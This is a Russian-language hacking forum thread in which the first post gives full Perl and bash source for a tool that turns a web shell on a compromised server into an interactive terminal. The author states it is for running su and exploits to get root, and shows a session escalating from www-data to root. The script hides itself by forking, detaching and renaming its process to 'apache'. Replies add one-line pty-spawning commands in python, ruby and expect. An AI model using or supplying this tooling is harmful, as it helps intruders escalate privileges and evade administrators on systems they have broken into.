Старый 10.12.2011, 16:30   #1
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию tty from web shell

эмулятор [ nc -l -s ADDR -p PORT ] ввод/вывод которого управляется через файлы in/out


написан для получения tty из под веб-шелла [ tty from web shell ]
с ним из веб шела можно юзать su, запускать эксплоиты и получать рута


пример работы:
Код:
./ttyServer.pl
[Server is ready at 127.0.0.1:43157] 
./ttyClient.pl 127.0.0.1 43157 
Connecting to 127.0.0.1:43157... ok
Allocatig pseudo terminal... /dev/pts/0
Initializing pseudo terminal... ok
Forking shell thread...ok
Have fun!
./exec.sh "id;pwd;tty" -c
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/dev
/dev/pts/0
www-data@bt:/dev$ 
./exec.sh "su" -c
su
Password: 
./exec.sh "toor" -c
root@bt:/dev# 
./exec.sh "id" -c
id uid=0(root) gid=0(root) groups=0(root)
root@bt:/dev#
сам "эмулятор" ttyServer.pl
Код:
#!/usr/bin/perl -w

# эмулятор [ nc -l -s ADDR -p PORT ] ввод/вывод которого управляется через файлы in/out
# написан для получения tty из под веб-шелла [ tty from web shell ]
# CopyLeft by DrakonHaSh@rdot.org/forum/

use Fcntl;              # for sysopen
use POSIX;              # for setsid
use IO::Socket;

$DEBUG = 0;             # 0 - никаких сообщений, кроме инициализации (боевой вариант, все в /dev/null),
                        # 1 - только основные (print)
                        # 2 - самый болтливый (print + debugPrint)

$EAGAIN=11;             # const for chk ret value syswrite/sysread

$INPUTFILENAME = 'in';
$OUTPUTFILENAME = 'out';

$HOST='127.0.0.1';
$PORT='43157';
($HOST, $PORT) = @ARGV if ($#ARGV == 1);        # ./ttyServer 127.0.0.1 45678
($PORT) = @ARGV if ($#ARGV == 0);               # ./ttyServer 45678


open STDERR, STDOUT;                            # чтоб die не шли в errors.log
createFilesForInputOutput();
$server = new IO::Socket::INET (
        Proto => 'tcp',
        LocalAddr => $HOST,
        LocalPort => $PORT,
        Listen => 1,
        Reuse => 1
) or die "Can't create server at [$HOST:$PORT] : $!" ;
print "[Server is ready at ",$server->sockhost,":",$server->sockport,"]\n";

#=========================================================================================================================
if (!$DEBUG) {
    open STDIN, '/dev/null' or die "Can't read /dev/null: $!";
    open STDOUT, '>/dev/null';
    open STDERR, '>/dev/null';
}
#=========================================================================================================================
# косим под системный демон, у которого нет предков

 # "убираем" колонку TTY в [ps -AFH]
 defined($pid = fork) or die $!;
 exit if $pid;

 # "убираем" колонку PPID в [ps -AFH]
 POSIX::setsid();

 # устанавливаем колонку CMD в [ps -AFH]    для конкретных систем полезно менять в зависимости от контекста сервера
 $0="apache";

#
#=========================================================================================================================

$connection = $server->accept();                # ждем подключения клиента
close $server;                                  # закрываем LISTEN($server), оставляем только ESTABLISHED($connection)
$connection->autoflush(1);                      # на всяк случай, хотя и без этого работает как надо
while ( $connection && $connection->connected() ) {

    my $input = readInputFromFile();
    last if ($input eq ".exit.\n");
    if (length $input > 0) {
        writeToSock($input);
    }

    my $output = readFromSock();                # здесь неявно sleep 0.25
    if (length $output > 0) {
        writeOutputToFile($output);
    }

}
close $connection if ($connection);
unlink $INPUTFILENAME;
print "\n$0 EXIT!\nManually delete [$OUTPUTFILENAME] file if U need\n";
exit;

#=========================================================================================================================
#=========================================================================================================================
# $data = readFromSock();
sub readFromSock {

    my $data = '';

    debugPrint("\n==> readFromSock enter ==>\n");

    while(1) {

        # проверка наличия данных для чтения в сокете [ http://valera.asf.ru/perl/cookbook/cont.php?id=244 ]
            my $rin = '';
            vec($rin, fileno($connection), 1) = 1;
            my $timeout = 0.25; # sec
            select($rout = $rin, undef, undef, $timeout);
            if (vec($rout,fileno($connection),1) != 1) {
                debugPrint ("\n no data in socket for read \n");
                last;
            }
        #

        debugPrint("[read] buff=>\n");

        my $rv = sysread($connection, $buff, 1024);
        last if (!defined($rv) && $! == $EAGAIN);
        defined($rv) or die $!;
        if ($rv == 0) {
            close $connection;
            $connection = 0;
            last;
        }
        $data .= $buff;

        debugPrint($buff, "\n<= [read]\n");
    }

    debugPrint("\n<== readFromSock exit <==\n");

    return $data;

}
#=========================================================================================================================
# writeToSock ($data);
sub writeToSock {

    my $buff = shift;
    debugPrint("[write] buff=>\n", $buff);

    while(length $buff > 0) {
        my $rv = syswrite($connection, $buff, length $buff);
        if (!defined($rv) && $! == $EAGAIN) {
            ## try again
            next;
        }
        defined($rv) or die $!;
        last if ($rv == length $buff);
        substr($buff,0,$rv) = '';
    }

    debugPrint("\n<= [write]\n");
}
#=========================================================================================================================
# createFilesForInputOutput();
sub createFilesForInputOutput {

    umask 0;

    sysopen IN, $INPUTFILENAME, O_CREAT | O_TRUNC
        or die "Fail on create file [$INPUTFILENAME] : $!";
    close IN;
    chmod 0666, $INPUTFILENAME;

    sysopen OUT, $OUTPUTFILENAME, O_CREAT | O_RDWR | O_APPEND
        or die "Fail on open/create file [$OUTPUTFILENAME] : $!";
    print OUT "\n",'='x64,"\nNew session started at: ", `date`,'='x64,"\n";
    close OUT;
    chmod 0666, $OUTPUTFILENAME;

}
#=========================================================================================================================
# $input = readInputFromFile();
sub readInputFromFile {

    my $input = "";

    sysopen IN, $INPUTFILENAME, O_RDWR;
    sysread(IN, $input, 65535);
    truncate IN, 0;
    close IN;

    return $input;
}
#=========================================================================================================================
# writeOutputToFile($output);
sub writeOutputToFile {

    my $output = shift;

    sysopen OUT, $OUTPUTFILENAME, O_WRONLY | O_APPEND;
    syswrite(OUT, $output, length $output);
    close OUT;

}
#=========================================================================================================================
# debugPrint(str1, str2, ... strN);
sub debugPrint {

    return if ($DEBUG!=2);

    while ( defined($str = shift) ) {
        printf $str;
    }
}
#=========================================================================================================================
управлялка сервером exec.sh
Код:
#!/bin/bash

# без аргументов: вывод текущего out 
# ./exec.sh
#
# если есть первый аргумент - посылка его в in, ожидание секунды и вывод out
# ./exec.sh "id;pwd"
#
# если второй аргумент -с то out очищается перед посылкой команды
# ./exec.sh "id;pwd" -c

INPUTFILENAME='in'
OUTPUTFILENAME='out'

if [ $# -gt 0 ]
then
    if [ ! -f $INPUTFILENAME ] ; 
    then 
      echo "server is not started"
      exit
    fi

    if [ "$2" == "-c" ] ; 
    then 
        echo -n > $OUTPUTFILENAME
    fi

    echo $1 > $INPUTFILENAME
    sleep 1
fi

cat $OUTPUTFILENAME
в качестве клиента подойдет любой TTY Backconnect, который работает через netcat
в архиве вот эта
Вложения
Тип файла: gz ttyServer.tar.gz (3.5 Кб, 1323 просмотров)
DrakonHaSh вне форума   Ответить с цитированием
Старый 10.12.2011, 20:36   #2
chupakabra
 
Аватар для chupakabra
 
Регистрация: 09.12.2011
Сообщений: 47
Репутация: 5
По умолчанию

Как-то слишком сложно, tty делается через одну строчку в питоне:
python -c 'import pty; pty.spawn("/bin/bash")'
chupakabra вне форума   Ответить с цитированием
Старый 21.12.2011, 13:15   #3
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Заморочился поиском альтернативных методов и вот что есть:

python: выше упомянут

ruby:
ruby -rpty -e 'PTY.spawn("/bin/bash")do|i,o|Thread.new do loop do o.print STDIN.getc.chr end end;loop do print i.sysread(512);STDOUT.flush end end'

expect:
expect -c 'spawn sh;interact'

linux пакет policycoreutils ( SELinux policy core utilities) содержит прогу 'open_init_pty', запускается:
open_init_pty bash
tex вне форума   Ответить с цитированием
Старый 06.11.2013, 15:28   #4
Darky Guy
 
Регистрация: 06.11.2013
Сообщений: 14
Репутация: -1
По умолчанию

Цитата:
python -c 'import pty; pty.spawn("/bin/bash")'
А как подобное решение можно использовать для получения tty из веб-шелла?
Darky Guy вне форума   Ответить с цитированием
Ответ

Метки
tty shell

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot